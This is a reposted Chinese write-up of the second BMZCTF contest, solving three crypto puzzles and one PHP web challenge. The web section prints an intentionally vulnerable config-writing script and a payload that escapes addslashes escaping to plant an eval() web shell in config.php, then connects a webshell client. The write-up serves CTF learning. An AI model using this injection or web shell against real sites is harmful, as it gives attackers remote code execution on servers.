第二届BMZCTF网络安全公开赛

发布时间:2022-06-26 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了第二届BMZCTF网络安全公开赛脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

第二届BMZCTF网络安全公开赛

今天事情比较多,所以基本没做,上线了一会就,没做几道题

文章目录

  • 第二届BMZCTF网络安全公开赛
  • Crypto
    • DO_YOU_KNOW_IT
    • 签到题
    • SIMPLE
  • Web
    • EASY_PHP


Crypto

  • DO_YOU_KNOW_IT

题目附件 链接:https://pan.baidu.com/s/10DmirLYb1Z49wEtShHrh7Q 提取码:9y29 打开附件发现是LaTeX数学符号,一 一对照后为:

第二届BMZCTF网络安全公开赛

flag{prod ltimes aleph y _{-}wp infty therefore heartsuit _{-}Longleftarrow alephTheta eth Xi }

取每个的首字母,结果为 flag{Play_with_LaTeX}

  • 签到题

题目附件 链接:https://pan.baidu.com/s/1iRI3PlLxgtKdd2DRuzf2ZA 提取码:rwv6 打开附件发现一串密文: 56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d base一把梭就可以了

step1======> base16
VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0=
step2======> base64
TVpXR0NaMzNJWldHQ1oyN0pGWlY2VFRQT1JVR1MzVEhQVT09PT09PQ==
step3======> base64
MZWGCZ33IZWGCZ27JFZV6TTPORUGS3THPU======
step4======> base32
flag{Flag_Is_Nothing}

结果:flag{Flag_Is_Nothing}

  • SIMPLE

题目附件 链接:https://pan.baidu.com/s/1IyXd4OsxvWU9xCT7Ym6wvQ 提取码:hkmn 爆破出附件simple.zip的密码为:2022go

第二届BMZCTF网络安全公开赛

解压压缩包,发现两个文件,一个是key.txt,一个是okay.jpg,010打开okay.jpg,在末尾处发现一串RC4加密的字符: U2FsdGVkX19+KmR+JLpq0l/IJ+rVlIHN2T+yqAikL04yjA==

第二届BMZCTF网络安全公开赛

key.txt中发现base64编码,解码得到RC4解密需要用到的key:babyhappy

第二届BMZCTF网络安全公开赛

RC4解码

第二届BMZCTF网络安全公开赛

flag{You_Guess_It}

Web

  • EASY_PHP

题目:

  <?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) {
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."n$LANG['$key'] = '$_POST[no1]';n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

解题过程 POST传参会被addslashes,第一次是写进去,第二次是str_replace。想办法逃逸出单引号:

$content."n$LANG['$key'] = '$_POST[no1]';n?>";

第一次传的话单引号会变成'然后写进去,第二次传会把'xxxxxx给替换成'xxxx

string(30) "';eval($_POST[0]);phpinfo();//" string(31) "';eval($_POST[0]);phpinfo();//"

这样就两个\,单引号逃出转义了。

打2次然后config.php命令执行即可。

sudo=&info[name]=qi&no1=';eval($_POST[0]);phpinfo();//

第二届BMZCTF网络安全公开赛

蚁剑连接

第二届BMZCTF网络安全公开赛

找到flag文件

第二届BMZCTF网络安全公开赛

到此结束

脚本宝典总结

以上是脚本宝典为你收集整理的第二届BMZCTF网络安全公开赛全部内容,希望文章能够帮你解决第二届BMZCTF网络安全公开赛所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: